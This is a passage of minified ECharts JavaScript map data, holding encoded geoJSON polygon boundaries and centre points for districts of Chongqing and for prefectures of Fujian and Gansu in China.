wVU@UUJWUXUW@UKm@UVUIVaU™UVmLUVƒUU„UWWXUakVmUkbW@UVkƒUL@VW@kUWƒ@mJUXVVU„@lmV@zklVVkLUl@¦›I"],encodeOffsets:[[108990,30061]]}},{type:"Feature",id:"500223",properties:{name:"潼南县",cp:[105.7764,30.1135],childNum:1},geometry:{type:"Polygon",coordinates:["@@@a@a@_kalyX@lIkaWK@_nWVkkmmV@IVmUI@Una@aWK@k@mkbWaknmJUk@mk@@kUal@Uaš@Wa@aXLlwUKlkkƒ@KmI@VUJ@Lk@@VUUmL@amJU£kKUaWakLmU@bVVUbnbWV@xkL@bUb‚xUxVbXJVbUVWIUVU@kLWxkKWV@n¯VUbU@@VVX@VmaUL@VUK@VVbn@lVnI‚@@lnLULm@Ub@Žl@na„@lK@XVVkJ@b@zl@@VnV@bVb@J@bnXV`lXXmVI@W@InbV@@aVKUblKVLUanLlmnLlK"],encodeOffsets:[[108529,31101]]}},{type:"Feature",id:"500118",properties:{name:"永川区",cp:[105.8643,29.2566],childNum:1},geometry:{type:"Polygon",coordinates:["@@@b܄nWVLX„lxV„VxXxlVn@@bVblK@a@UnLVJV@@UnLVU@VXaVKVXš@n`WUÿ@IUKlaUUUkWyUÛÅÝ@mmkUKUwW@Xk@amUUakKWƒwXaƒK@VVLklƒXVlkxV„UL@bm@Vxn`ƒIVxUVkLVšUšl@@lkXmmƒVUn@VV@Xb"],encodeOffsets:[[108192,30038]]}},{type:"Feature",id:"500231",properties:{name:"垫江县",cp:[107.4573,30.2454],childNum:1},geometry:{type:"Polygon",coordinates:["@@šĊ°¤nҘ¼œaV_lKnllUXVVLValUœLVW‚@XamwVIUKkaÇфa@U@KƒkVwkUUƒVKlVnU@aƒU@ƒVIka@akU@KVL@WÝçUV@Vmbů@L™KƒnnJW„ƒVkxlL@VX@VxmnXVWxUb@bkn"],encodeOffsets:[[109812,30961]]}},{type:"Feature",id:"500112",properties:{name:"渝北区",cp:[106.7212,29.8499],childNum:1},geometry:{type:"Polygon",coordinates:["@@@bVVXL‚a@lnbWn@L„@XVlK@VVLUVlbkLUKVVVL@VšnX‚VL@VV@UbVb@x@¦UxVb@bUJƒL@L„VVxlK@™nk@U@W„UVLlKXV„@VblU@UUKVU@wn@VJVanLlkX@VaVK™¯@a@U@U@ƒVaUK„kUUƒ±maUkm@UUkbm@@Vk@@JƒwU@Ub@I@JmwUL@aƒ@@KkVÇLkƒWkƒ@kUU@@xUVmKUnllUb"],encodeOffsets:[[109013,30381]]}},{type:"Feature",id:"500115",properties:{name:"长寿区",cp:[107.1606,29.9762],childNum:1},geometry:{type:"Polygon",coordinates:["@@VVšU„bX‚lX„¥l@XnVmlxUx„@@blVnnôĀlm@aVaXwWUnmUwW@@UkKlw„UXƒmI„mšL@Kưna@UUImyU@ƒ—@yULUUm@@mU@VIkaW@UUƒV@K™I@mƒmU™wƒ@™mKUnU‚UIƒlVLUb@„@V@V@bš°ULUbW@klmKUbUIm@@xUVVL"],encodeOffsets:[[109429,30747]]}},{type:"Feature",id:"500225",properties:{name:"大足县",cp:[105.7544,29.6136],childNum:1},geometry:{type:"Polygon",coordinates:["@@XUmaVaUU@anVlKXbValU@aV@@IXKš@@bV@VxVK@UXLlUšJXa@_‚@@aVK—ÅWVkwWaƒƒwUa@am@kUWLU@kWmX@ykI@W@UV@na@LlLV@UƒkwWƒUKmXX`mIVl@bXLWVkbkkƒx@`VXm@@J@U@UUKUxk@WbUIVl@VXLW„ƒJUkUlUImxXlmb@X@VUJUnVbšW@UV@@VVX@bnW@LVxUnlJUV@n„@VxVIn@l`„UVVVL"],encodeOffsets:[[108270,30578]]}},{type:"Feature",id:"500224",properties:{name:"铜梁县",cp:[106.0291,29.8059],childNum:1},geometry:{type:"Polygon",coordinates:["@@VblLV¤nI@bnKVV@Ul@@KVI@UnJ@Ll„klVLkxWK@bXb™@Vbk@Vb@ll@@nVlnIlmXblaXl@„W@_Ü@UƒUalU@aXL@Vlašb„a„ƒVL@mUL@ƒUUƒƒÇXUW›X_WaƒƒUƒ»m_™@UWULWb@UUVmK@VU@UImK@V@bkL„x‚„XblxXU˜ÆUL@b@@`Wb™IkVWK@VULUwU@@a™@WL@JU@@bkVUb"],encodeOffsets:[[108316,30527]]}},{type:"Feature",id:"500226",properties:{name:"荣昌县",cp:[105.5127,29.4708],childNum:1},geometry:{type:"Polygon",coordinates:["@@VI@U@WnaWknwVJVkVl„IXƒWK@UUkVJXal@VwVL@V@V@In@UW@_„wlllaXUWK@aUknJW_ۃ@aWaU@@UVm„UUaUImJVnÅUmVUm`kUUVWLnVU@VVmXƒK@„nxmŽULkx™ImJ@nU`@X@Vkn@`@nlV@nVJVaX„VLnK@bVV@nV@lbXWš@"],encodeOffsets:[[108012,30392]]}},{type:"Feature",id:"500227",properties:{name:"璧山县",cp:[106.2048,29.5807],childNum:1},geometry:{type:"Polygon",coordinates:["@@XzVlVVkbVL@JVĀXŽ‚¼V„„„XbW`XœWVȎ„„VVšŽVkV@@UXa@alK@IƒƒU@UKWUyUI@wVUUWVak@VUkƒW¹@WXI@yVIUK@kWwkѯ±W@™kUb@KkVVVmXƒJ"],encodeOffsets:[[108585,30032]]}},{type:"Feature",id:"500109",properties:{name:"北碚区",cp:[106.5674,29.8883],childNum:1},geometry:{type:"Polygon",coordinates:["@@X‚VLV@„„@JkL@bWb@VU@UlƜVy„a@nV@nn@KU@IVJU_lJXV@VlVIV`nIn°@b‚lUbš„„KVI@aUaVw@¥@wUaVaU@@UUKW™m@UUKUUVLlKkaVUUK@UkLWUƒ@@KXmma@kbWKUU@aUamLnÞ@VWLk@@Wm@ULU@@U™KUVWI"],encodeOffsets:[[108855,30449]]}},{type:"Feature",id:"500110",properties:{name:"万盛区",cp:[106.908,28.9325],childNum:1},geometry:{type:"Polygon",coordinates:["@@VIV@@wVJ@InKVxXal@@U@U@KlUnwUW@kVU„KUmVkUa@I@KW@@bk@@mƒU@m@k@a@aƒIUxmJk@ƒwULƒwkKmVVX@VXV@xVLVVULmWXwWUU@@nUJVL@KV@UVULlxnL@VnUl¼@l@XVxVVUbn@WbkxUšlVnU@m"],encodeOffsets:[[109452,29779]]}},{type:"Feature",id:"500107",properties:{name:"九龙坡区",cp:[106.3586,29.4049],childNum:1},geometry:{type:"Polygon",coordinates:["@@XK‚L@Vš@XbV@lW@UV@@VXIV@U™VKlL@KnnJ@VV@VU@I„@@mVUVWUUmL@V¯LUK@UV@UU@a@U@yU@WLUK@X@KUVmL@ƒ@aXI@w@ammVk@WÛwm@UxVVVbVLUJVxVU„V@V@X@JUIVbm@@Vk@@VkL@lVLUJ@zWJ@X"],encodeOffsets:[[108799,30241]]}},{type:"Feature",id:"500106",properties:{name:"沙坪坝区",cp:[106.3696,29.6191],childNum:1},geometry:{type:"Polygon",coordinates:["@@Xºl„UVl@UbVXUV@xVJVzXJVUšL@VV@VKn@@Xl@XK@UmÝnKVbVakkVm@k„ƒUK@UmIm@LkKULVšU@WJ@UU@@VkXU@Wa™@@UKWL"],encodeOffsets:[[108799,30241]]}},{type:"Feature",id:"500108",properties:{name:"南岸区",cp:[106.6663,29.5367],childNum:1},geometry:{type:"Polygon",coordinates:["@@VV„JVL@bUVVnl`XIlwXJlw°nnl‚IXW@UÇĉk@WJkwkLƒ@WVkU@LU@U`W@UXUV@n"],encodeOffsets:[[109092,30241]]}},{type:"Feature",id:"500105",properties:{name:"江北区",cp:[106.8311,29.6191],childNum:1},geometry:{type:"Polygon",coordinates:["@@nLVU@wV@lV„@Xll„ÈKlU@L„@@bVKnx@I@JVaV@„x@Il@@Un@laVVn@mkUIm`k@WXJmk¯mkxWIkxWJk_UmVUUKƒ@UU™@ƒ„@l"],encodeOffsets:[[109013,30319]]}},{type:"Feature",id:"500104",properties:{name:"大渡口区",cp:[106.4905,29.4214],childNum:1},geometry:{type:"Polygon",coordinates:["@@k@@U@w„¥WKkVkImUmwa@b@xWJ@b@„nKVU@L@WVLXKV@@z@V@bVVU@@VVL°K@U"],encodeOffsets:[[109080,30190]]}},{type:"Feature",id:"500111",properties:{name:"双桥区",cp:[105.7874,29.4928],childNum:1},geometry:{type:"Polygon",coordinates:["@@WwUwU@kK@KmbU@@V@XlJ@znWlXV@XK"],encodeOffsets:[[108372,30235]]}},{type:"Feature",id:"500103",properties:{name:"渝中区",cp:[106.5344,29.5477],childNum:1},geometry:{type:"Polygon",coordinates:["@@VLš@VV„@VL@aUKƒIUUƒ@@JUVU@"],encodeOffsets:[[109036,30257]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/fu_jian_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3507",properties:{name:"南平市",cp:[118.136,27.2845],childNum:10},geometry:{type:"Polygon",coordinates:["@@@knyƒk@ƒKU¥šwV@nkƒWƒzUmk@@lKUa@aVI@UƒKUamKUUVaUI‚@Xƒ@UV@K±IUVVlUbUbUL@KWUXmWk@KkXmmkŃKUƒ™a@amUƒbkUkKWUnwUƒÇwV™UUƒÝUKV£U™@ƒnKWwXLVKm¥@wUXkmWk@ƒ@wX@lU„@šyVImaXwVƒƒ@kŽƒnU@mbk@mlUXƒmU@mV@n@bnW@bUIWJ—ImVUKWbUK@nkKƒaU@W_VUUmWmL@UU@™bUWUL@V@bmVUz@`mUUVVbXL@V™L@lmLUxmVamXkW@xWbU„VbUxkU±@ÅUmmkLUbW@@`kLknVlV@lbXxlVUXVV™ŽU„U@UbWŽkIWVUUUJkI@llbUxVL@V™VƒUU°ULUmWXUV@VULWb@™xm@UaVLVKUa@ƒw@V›bkmVambUUm@@VkK@„@b„xlxX@‚„n¤@Xƒ@@lkLWV@Žn„V„kb@bWJXLWx@nkxmm™bXn@VWVUn@VnJ@bVXl@„™VJXnWbX`lL„UlJVI@Žœ@VXV@Vl@bn@@Æmn@VšxXU@mVIlxšVššnI„l@nVJ‚aXI@mlU@aXkVm°klmnVV_naš°@V@xܦXK„V‚nnUlVXbVK‚LXKV@naV@@VVl@@lXblXšWnLlbVK²nš@@‚VLUnlV@lƒXxô°‚V@UnaUUlKXLVUVVUbVVlUnJVX„@VW@an@lb„@nl@VU@anƒšUVW@kƒaUm@InVVKVU@kUW@Uam@km@kVa@a@™nwšU@WlI@mVI@WXaW_nƒ@™nƒlkkW@U‚¥@kV@Uw@wUƒ@@IXK‚¥VIn@nU@`@Xl@VV„LnašW‚bVaUwnU„@VIšKlV"],encodeOffsets:[[122119,28086]]}},{type:"Feature",id:"3504",properties:{name:"三明市",cp:[117.5317,26.3013],childNum:11},geometry:{type:"Polygon",coordinates:["@@lL@Un@VVna‚bnUlœa@U‚x@„VbULUKVbn@šw‚@XaVK@UVUXWVnVKV¯„VšU@UUKVwka@klJVIVVXUlJXVaV@VƒšUUVWkUWwkaU@UklmlK@_X@ValKnnÆV²@lVVwUaVƒXa@wlXnW‚bnUVwnK@kšK@UWKUaVUnV@_VynU@a@UVKVXšaV@@VnKnXVV‚UX`V@„blL@mVLXaVLnU˜JXIVJ@amX@a@mnUV@„nVWnkl@naV@„ml„@@KmKUam@UU@ƒ@UlKU™Vk™U™K@aVaUwV™U¥UIkJ@wmI@‚mbkwkVW@UXƒKULU`™IVKUa@LƒkkVmUU@WlULUWÅU@I@ƒWW™nU@@w@a@ƒUam_XyVIVWkkƒ@mwVKXUV@nw˜VXkWƒÅ™U@ƒaƒU¯KUnƒK@ƒ¯šmUƒLXŽVLnWVbVbUVm@Ub¯¼W@amƒ`kb™amLUUUƒ™aUXV`@x@XmJ@n@L@xkJUU@kU@mWm@kUUwUUVWl@VUkIƒy@kkaVUUm™IWVXbWxU@k„mVkK@nWVX¦WxU@@bkx@VU@WŽk@™kUbmJUUmkUW@_kKWKƒ@knV¤kIUKWLUbV‚@Wbk@@VWL@VkI@lUXVxUVU@@mWIƒV@a¯nUaƒaUV@„ƒJ™b@bÞ°VbUš@X™aUVmL@‚VXblŽnV„°˜n@Vnx„@VUUUlK@InJVb@„Vlnn@V™L@VWJU„x@XlJUVVVl@LUUUJ@Lƒ„@lUL°¦k˜V„VnV@„xV„„l@blLnlšLVaXll@šnVUn@‚xn@nml°‚X@lb"], +encodeOffsets:[[119858,27754]]}},{type:"Feature",id:"3508",properties:{name:"龙岩市",cp:[116.8066,25.2026],childNum:7},geometry:{type:"Polygon",coordinates:["@@ša„I@ƒVU„bVb°m@b„UXJ@nV@VUUwVW@klJ@UXK@Ul@Xa‚@UVaXKVLlJU£lm„@XLlL@`VXnlVVnIVašll@XV@@Ulw@aV@XwW¥XU@mlLnUlƒV@XwWaXUšJVnUVlb@l„zlJUVk@UXVVVxlVn@nXV@@lVVlI@w@K@mnI@W@wU_VWšbV„VVnKšbla„_n‚bX@°»Van@VUUaUamXUKW„K@a@Ukƒ@wWkXƒWW@wUU™Kw@_lyƒwUkU@@Uƒ@kamVmƒXašUVUka@Wk@»UUUVƒKkbWU™VUbk@mkƒxkƒƒKnIVUmW@kUKmXUmVaU@kU@m@KUWVkIWJ@ŽU@UI@wUUUa@KW»nU@mVkUmm@XwWU@ƒUUmL@ƒw@mnƒVUU@aWak@@amxU@UxULWVXbVLU`mbUImVU„ƒbn‚V@@bVn@bnVWxLmyUbƒIUKƒ@aƒVm™akbV‚UXW„UlKWbkV@„WLUlk@@nšbƒb@lkKmU@ƒUIWJkw¯UUVVxm@@XkbWx—›XKƒlUzWJkUUL@bmKkVƒ@@VUIUlWV@X„K@VkbWx°xUb@LUbk@@VWb@LXJ@VWXU@@bUVV„VVn@VVlLn„@l„@‚xk¦Vx@bVJXbƒn@JlnXxV@@„nJ@X@V@lmx„bUn@xVL@VVKlL@l„„nLVaVL@xkl@LƒxVl°š„X„WVX„Vl„œJWnxlJ"],encodeOffsets:[[119194,26657]]}},{type:"Feature",id:"3509",properties:{name:"宁德市",cp:[119.6521,26.9824],childNum:9},geometry:{type:"Polygon",coordinates:["@@@LVKVaVaUkVU²J@LVU„@@W‚VJUbVVnLVb„L@VUJ@bVbkL@Žl@Vn„y„XmlU@™xV¦„L@Ž„lmz@lnL@bVVšbVb@l„nšKVk„Vl¤@zXV@šl@XJVLVKnXVK‚VnU@wUm@šKUƒ@UlVlw@U@U@ƒUaUKlU@kXKlmXIWKXaVIVUVK@KU@@k„JVUnLVJUL@V‚IVa@VnLšKUnl`Vb„V„V@š‚Vbn@Vzn@lKnVlI„VVKUalkXJl@XXVWVLVUUmVU@Unm„£lK@Uk@WUXK@U@WVwVkšƒĠkĢǰaUÅUwmaţƒɱUÇa™w„±V¹XalKôx„@„UVaÜʓͿVóbÅLƒJm„¯Vk¦ƒŽk@mamXkKUƒUL›akbk@mV@LkJWb@Vk„mXk@UVmaUV@amLUKUamI@KUaU@WbU@UUUƒUIWJUkm@šƒw™Kk„VJm@kxǁVƒUK@mUVUkmlkkVm@amwƒLVWU@UbVLkšUbƒ@VƒmK@XaVWU_VJnwV@@kUmWakxƒ@kwWakIWxnbUJ™zƒ@kVW@@x@„XllnVW@xn¦ULWKXxmL@„VšU¤VL„ÞVVUšÈxV„mxXVlLlV„anV@bšbV„„LlÆnnlW@LXlWnXV"],encodeOffsets:[[121816,27816]]}},{type:"Feature",id:"3501",properties:{name:"福州市",cp:[119.4543,25.9222],childNum:9},geometry:{type:"Polygon",coordinates:["@@lxna@nJ@xlIVJV¦UšVxUb@bšLšVUlVškL@V@„VVn@Vb‚Ln‚@LU„lJXblx„@lwXbVn@lU@mxUIV`UXWb@‚nLU„„@Val™UKVaV@UX„Knx‚bn@lUkllnUVnV‚@VLU„È‚lwn@UIlƒšL„x‚™n@VlXIVJV„VVV@XaV@Vb@LnJVbVLnK@bVUnbVUl@nWlƒ@UXalI@KnUl@laœbVKV„lLnWnbl@„l¥°Unƒ„IÆKôa΀U„a@UUwÇWǓIUWUÅVkƨm@ƒ@£@KmLU¤ULˣJ™kUƒVǟUUķ@ĉVƒKUk@Ѱwôǚç@īšé@Åţ¥mīÛkm¼Å@ƒVķVó°ō¦U°ƒn@bVJXVVL@bUŽƒakLmx@xmxXzW`XbWnXV@bWLÛ@™aƒ@ƒaXbWVkaÝwU@mlWKkLWWkLUKULW@kVmVUU݁UamV—¤›n@xUVUzkJV¦lJU„"],encodeOffsets:[[121253,26511]]}},{type:"Feature",id:"3506",properties:{name:"漳州市",cp:[117.5757,24.3732],childNum:10},geometry:{type:"Polygon",coordinates:["@@@bl@Xb@bVVUŽm„@n„x‚@nKVV@„XVWxn@VnUl@nmVX¼@LVbVV@xVJV@@XIlJXU‚V@Ln‚@lVV@UbVnnWVL@lnXUVmJ„Ll„„wnll@VašUXVla„LVUVV@¼Xl@lbUV™VWbn„nUlb„@@VV@„aVUšmlUašUny@kU@Wkk@WaUVk@@ammk@@U@UlU@aUa@wl@šmXLllnL‚U@anVnU@L@VVV@KlXnWVnVanUšw@w@wm›nÅ@wƒaUam@Uk„mUl@@a„a@U@¥škôK‚wȯ°w@ŻkwǕaK›ÑÛk@ĕōřċ£ĵƒUKW»kÅŻLU@Ulġw@¤Vz™VUbkKUbmLmlULU¼UxmbXl@bWVƒb@bUnV‚UšVbULU@@VkbVL@`U@WX@ŽXV@b°„@b¯š@¤@Xm@@b@`U„VVUL"],encodeOffsets:[[119712,24953]]}},{type:"Feature",id:"3505",properties:{name:"泉州市",cp:[118.3228,25.1147],childNum:9},geometry:{type:"Polygon",coordinates:["@@Vl„xkz@`‚xšLVV@xXXW„Xl@xl„@V@bnV°™@„„LVm°L„V„bV@ƚX„Wl—UmxU@WVULnx„@llUXUJWzn`Vb@„@b@xV@šmXX@„@JÆVVXVKXkV@nVlU„l@KVbULšJV_VK„LVWX@lUVƒkIU¥lIVyVU@wœm˜£nUVWU@aƒm@UmWw@UX@@am™VUn@@aUUlUVanaWUXWmUnkšK@VšUlVVUUwš@XLWWX™ma@knm‚bVb„VXbVL‚@XJlInlšL„w˜mXóšw@çV»ÇçŋaķƧóƅóKġ°nÅUķƑUÇW@—¯xǰöÆlV„n@llšaš@„Lšbƒ`™@™„VšXVƒVx@V@bULVJUk‚Ç@ƒ¼ƒXUKk@mmULkaWbk@ƒx@UkL@a@K@U@UmKmbU@kV@UmVUbUmmXkW@LUU@U@KmVmU@bVmKkkWK™nk@@xVb@bkV@V@Vl@nn@bl@VUXbl@XlV@@lmz™VVbkŽ™nUVƒb"],encodeOffsets:[[120398,25797]]}},{type:"Feature",id:"3503",properties:{name:"莆田市",cp:[119.0918,25.3455],childNum:2},geometry:{type:"Polygon",coordinates:["@@VbނVVnUlUX@VKVLlKXXlKXL‚‚nkV@ÞxlbXUWa„b„@šbÜ@XK@aWUXmWaX_Wynw@wnwlK„bV@aUKWUUI@a„mV¯Ŏ¥ô¯ĸU„UÆ@n»¯aƿé@ţ¯nĉĬÝK™óó@™ÑU¼@è™xWô—nƒx™KmkkJWI@UKWaƒUUaamn@lnbWšXXWK™@VxUVkU™V@U™LmlnVWXXVmbUbkVVV@bm@UVnš@bW@@VXx‚n@V„n@bV‚UX"],encodeOffsets:[[121388,26264]]}},{type:"Feature",id:"3502",properties:{name:"厦门市",cp:[118.1689,24.6478],childNum:1},geometry:{type:"Polygon",coordinates:["@@@VlUV@nanL@V@V@L@blK@V„wl@XalbVKnnl@VL„W„»È@lVUIVK@a@UUw„WUU™šƒš@„_™aƒK™@™bkkm@UƒkõŁxóL™l@¦@Vƒb@bk@VŽƒnVln@Vb„b@xmÆnœ@x@x™x"],encodeOffsets:[[120747,25465]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/gan_su_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6209",properties:{name:"酒泉市",cp:[96.2622,40.4517],childNum:8},geometry:{type:"Polygon",coordinates:["@@ÇnÅaĉ@ƒU¯¥›UŹ‚ƒ£™WUýUU±JkkUw‚yÞIČxĊĕĊ¯š¥ÆUkţ™UÅÓ±¼™IUx¯UƒÒƑ‚ݐŰƒKÝnğ°ÅU@Žƒ@Vn@þš¼¯šWnŎ°XLWlnVnbWnƒVXxmbƒa—bóUƒlǕUUa™IUmlU™ƒš¥™kƒ¥ĉwkkƒÝɛa@¯™™U¯°mVƒkVnKlƒōÑÇÑU@kl™UġŽkUŻnUW™@š¯ƒk»šmWV£UKnUƒmUw‚w@ƒUIVaX™šwm»Èmmwn¯ċ™¯LĉŽUƒJUalka±Va@U‚k@ƒÛф¯WmnUaɝ¤Ûmƒn¯m±x@wóxÛLġÒUx¯VƒÈ™JUbóz݃ÇKĉ¯ōlÝUŎWl¯nťbÝ@¯ǩLġmV@ƯĢkÆm™ĊkVťLɃmÝXó°@„ĢbVŽóVݦɱ@Ƨaġ„UV„ĠÇÈV¼UVţwmbJÇwˋa™XmǯKkkmŽƒbXšm¼V¼Ǭڲ¤ôŰÆƴô̐ŤǪnɆӨ¼ɆLÆłUĊšxŎƞȘǔˎǬǪnƨŮǬö°»šġ„„ÞÜÆĸÒĊ„ǀbƾèôÈ@¼¯þŤĸƧ°Vb@lÈĊ‚šʠń̐„ȘKǀŽֲॗţÿǕý@ʊǓƨóÆÑǖŃôw@΋ʈƆÅÈVVĊV„óĊÅ@ÞƒĬV@Þīš@°Ž„V@ĸ̃°XτƜĠ@ÈaÜ¥Őƅ‚™nğóĕVġUůƿŋ—ĕƒa±V—UťÇğÑ"],encodeOffsets:[[101892,40821]]}},{type:"Feature",id:"6207",properties:{name:"张掖市",cp:[99.7998,38.7433],childNum:9},geometry:{type:"Polygon",coordinates:["@@ÈÒŎÒk„mLUŽlŽU„¯nV°šš@°ɜb„ÞĠaÈ»ĸl‚š„LVUÈ@Ċ@ýUm„@@ÆVĠ¯Þm„LƯޏƒ„ѰVVwšJ²»ÆÔšVlŤÅV™¦ĉ°ĉĖċwÝJzVxll²IVVVþšX„¤źœV°¦„VĊ@ÆbÈmǔLĸĠ¯Ģaô¯ĸmÆÛUƒlÇĸk°XyĊUǔV„ǩnmV»ƒa@ýnK°n@l¥@»ż„Ċ¤m皃@£ČU@mƒmVkÞUƐ±²¹°‚ĠwÅƑŃU¯™›V¯aÈŁšƒÇ»™ġn_°xŎKlxœklx„@Þw‚„„@Æm²b‚DzLlkšWXať¯ĊaœÑšK±w@wƒUÅçV±Uk™@@„¯š¯xƒU™±±UU°ōxVxÅÔō°ó¯UÝ¦óbÝþƒ@ĉÈóUV‚Ux„„@VŽUVÝwÅÈǎóVkk¯JǐkmmL@„™KÇx@bkš™@U°ķ²ó`ƒš™šmn¯°ƒUwlÅkUƒ`™¦ɛô™Žķz@ŽÅnǰU¼¯KmVk²ƒJƒ¼ƏÞķôš¤ULƒ@mnğ`™šÇnUxÇ@Ûÿ™U@ƒƒkŻŽ@x@móJkŃ¥VŹĉóÒĉlċ°ķ„Uƽ܃@›x"],encodeOffsets:[[99720,40090]]}},{type:"Feature",id:"6230",properties:{name:"甘南藏族自治州",cp:[102.9199,34.6893],childNum:9},geometry:{type:"Polygon",coordinates:["@@ލš™nKlnšwX¥WÝXk˜xÞUnƒ°aĊVnUUKlÞĶWXnĠ¥ô»„™@nmVL@¤°™Vz„JšanU@aÆwna@k›ƒU¯šyX_›aĉb™ƒ„wƒéXkWwÅaš¯V¥mƒ¯UƒƒI@ƒš@„mšb°aÈçšUš¥@»‚knwɜƇ°I°ÑÈmVU™¯Xa@w‚W@wšV¯Č¥l¯Uwnm@k˜aUaóKkk@™Ça™b@ށÒWa¯IÇxÛam¼™VUƒxÒl‚@zÝÒ¯bÝaĉVĉwDށW›zJ™mJn²mܯUƒ¯ĉ@ġ¤Åb@²nšmlƒ@@Ž„„U„ƒLVxšV™„U¼Ålma™b@ƒ°™l@WIUƒ¯@mƒ™@™™ó„™„@U›zţyƒXÇU™ÇVUUVLkbWakVWmUbkkƒKUÆ»nƒ°Knk@aƒUVmšnk»l¯Ģ›lw@_kKVU@ƒnaƒ@lUk@¯¥mV@kmbW™b¯Åõa@mkU@kƒÇŽkU@›`@™óó—bl¼Uxƒn„¼šlVȄx@blVkVVnƒ`XÈġÈ@ǃK£ÝJmUUnUĖmlU„mKUn™VÅaUw›Uĉ`¯n¯wW¼nxVŽ™š@bĉnƒ‚kIċŘkXUŽ±Ò™xšÈ@ŽX°`l„œV˜IȯĊV„ƒšVVan@VašUVażVmšblkÈW„ƒWIXa„alL@wVb„„V„¦lL@lĠ™n҄U‚nk‚šL@ÆÞkšÞšK‚bñþW¦Û„ċVƒ„ULUºkÈlŎUxÆxÞUUxšÒ‚x„@XbšL@lÆ@„ÒlXVln@„bm¼ƒJ@„Ån„šƒx@bnšĠm„xVXmbÈè@ŽĊ£ČW˜w"],encodeOffsets:[[105210,36349]]}},{type:"Feature",id:"6206",properties:{name:"武威市",cp:[103.0188,38.1061],childNum:4},geometry:{type:"Polygon",coordinates:["@@±¯¥@klwU»ƒƒÞÝmwKm¯™™ç@™kVÇUL¯lVUKġ„ġm@a@U„@X£°l°LŎÇ@aōVÝw™ÔƒKUŽÅš„WJ¯lm@ÛVWa™@klĉUmaƒLUanaƒ™ƒk¯J„™™±KkXóÜÅxƒ²Ç‚@„„nUÒĊb°@™ÆkL™Ž™XÇÆ@xÝn—xWxţ„¯¤ƒI@Æn„ƒVV„VlU²Æè„V@x²x™L›ÒĉbŦ°Wb™Xklބš@l¤šXĊ`„wl@ĢÈŎm@bšnV‚Ubƒ„@șÆÛLƒèǚUÒŦlĸ™`°ĮʟÆǓbĉôϚĊƚĢnŤé΀ÑĸĀĊ¦„@@l°lœ¦Ȯ¦ɆÞĊKŤ™ĵĸů„»mفyġ™ķŭ@Çɱȭ¯mƧUĊķnŁŻ»UaU™˜ƛɞÝƨů"],encodeOffsets:[[106336,38543]]}},{type:"Feature",id:"6212",properties:{name:"陇南市",cp:[105.304,33.5632],childNum:9},geometry:{type:"Polygon",coordinates:["@@šÈÞ@l`UmVƒ¼œŽ‚@nnÆwVlnVVa„LVƒÈ_‚ÿރ@n„a„xÆ@„lš_š@VxnK@llLnxmÈŎJnbUxšI°Žl@n¦‚lÈIlmX¥„k°@šk‚J„k²é˜@klaUaVaU@@ÝnIWnmnx‚k„ºÞ„„aV™°„V@nw‚KšxôbÞ£šVšU„bšþšLn»mƒVw„IšJ°Ž@„nb@°°I„ġUkÇKVƒ™™@ů»lƒ„Lnmƒ£@anK@Ñ܍n@»mL@£™yk„UUmbUÞÝ@kyÇbó»™XUxƒWVzb±mÝbXaƒwUamL¯»@wUKVwm¯ĵJ°ÅUWVk„KVk°wÈVšVуlUšƒ¥škmVamknƒUw¯¯ƒbċ¥ÅKƒk™Kk„™VċVk£kKVw‚Ñ„a@kóyÛ¯ÇVk™ów›š—Xō¥Ç¼ów™Ž¯U±‚k„ƒ@x›IĉÒÅVmÈnšÜ@n°„bUbÝV‚ŽUnnJ¯Į@‚m¦nV܃@„„L°JXb‚Ñ@šaÈb@šllôLVb—b@lmnVxk°ċ¦U°™Ž@xX@xWbš°UVÇn¯Ò¯Jɛƈmxl@¼"],encodeOffsets:[[106527,34943]]}},{type:"Feature",id:"6210",properties:{name:"庆阳市",cp:[107.5342,36.2],childNum:8},geometry:{type:"Polygon",coordinates:["@@kw‚ĉ—»VamƒƒV¯wƒIóVkl¯™Km™Vō¯ÝWkL@bÝKō¦@Ž™„@š™Lx›@b@l™a@km@@l¯nm@UaÅ@ƒ„óWUXm¥™nƒw`@UUxķôǰğ¦@„VJš_n‚‚IVŽnalxkX„JWn¯šnVƒLšxl¤nnVbklVX@xnxmV@bUK@nm@@xƒV—°±aÅnƒŽkUWnUaƒx@m™n@ƒ¯LƒššmUĀlU@lV@blLUblxklkIÇx¯°‚UXbšaVŽUnšV@°‚LUlnbšX@`°nVmbnÆmV‚kLmK™¦UŽ@X„y@kl@U„°K@¼XbW„ƒš@b„WnLVa„VšƒVz@xlVČ¥lbUxލlV„U@nÆWôn²™VJlU„Ƨ„LnmÜLXa˜n@mœw@wlUlV²mšblwšVȃlLލ„±@lVnUlxnkma@mškšJ@kXV‚U@mn@š¼VXUƒVƒlLnmVbôaVnWV»ÈUl°È¯ÆIn›ÆU@kk»mKkÆġk¯@»mƒk—¯@óÇlÇ@—Vykkl™Uml¯Þ™@w"],encodeOffsets:[[111229,36383]]}},{type:"Feature",id:"6204",properties:{name:"白银市",cp:[104.8645,36.5076],childNum:6},geometry:{type:"Polygon",coordinates:["@@VKUȚl@šè°šnŽ‚LnxÝބ„V¼kx@l‚¦²°ĊóĠ„™Ċ»š@ÈxšaĊxlwÈVŤa@¯²aÇ£ƒJk£lƒnUÞ@°šô™@y„wl»lIX¥Ǫnw@ÑÞWla„ÅlL@ƒUwĉakƒl@ƒš¯mwna°J„V¯nUVÓÞÑm£²óWaUƒÇ@óÝUçV»ÈkkW@¯‚xV@XlK@wX@Vmm_@wÈݙKU¯ÇwVwÅK¯VƒkƒJ™™™XkWVaƒImޝUk„ÇlVšœĀV°mxóšk„@¼ó„WxĉÜU@Ub‚zÛJÇk@‚ÆnVlԙ@kŽ„x™ô@ĬWL¯ƒƒK@aÛImm™@ƒIUaƒ@™™UŽÇêU¤VÒÇx¯ÒV„šš™lk@Wbĉ¦UbkWV_‚y¯Lƒaó„kŽ@b@nmbkx„°"],encodeOffsets:[[106077,37885]]}},{type:"Feature",id:"6211",properties:{name:"定西市",cp:[104.5569,35.0848],childNum:7},geometry:{type:"Polygon",coordinates:["@@„a‚V²wVJV_@„LlanÅllŦçÜӚ_šlnƒWaôk„xUš„bmV@È°lèšnk°l¦„`@nnL‚@ÈlÜIyVaV@ĊÛXwôƒ@»lƒô™nwU¯›ÿU™Èklƒ°Vn„JUblXšWšš„I„l°U„ƒVƒš—@aVVVmnL@„lƒ„UUw‚mkƒš£„bV¥VUVwۂƒlaÇÝރmk£ƒLUy¯L@WlkKW_XaWƒ—mƒ„ġ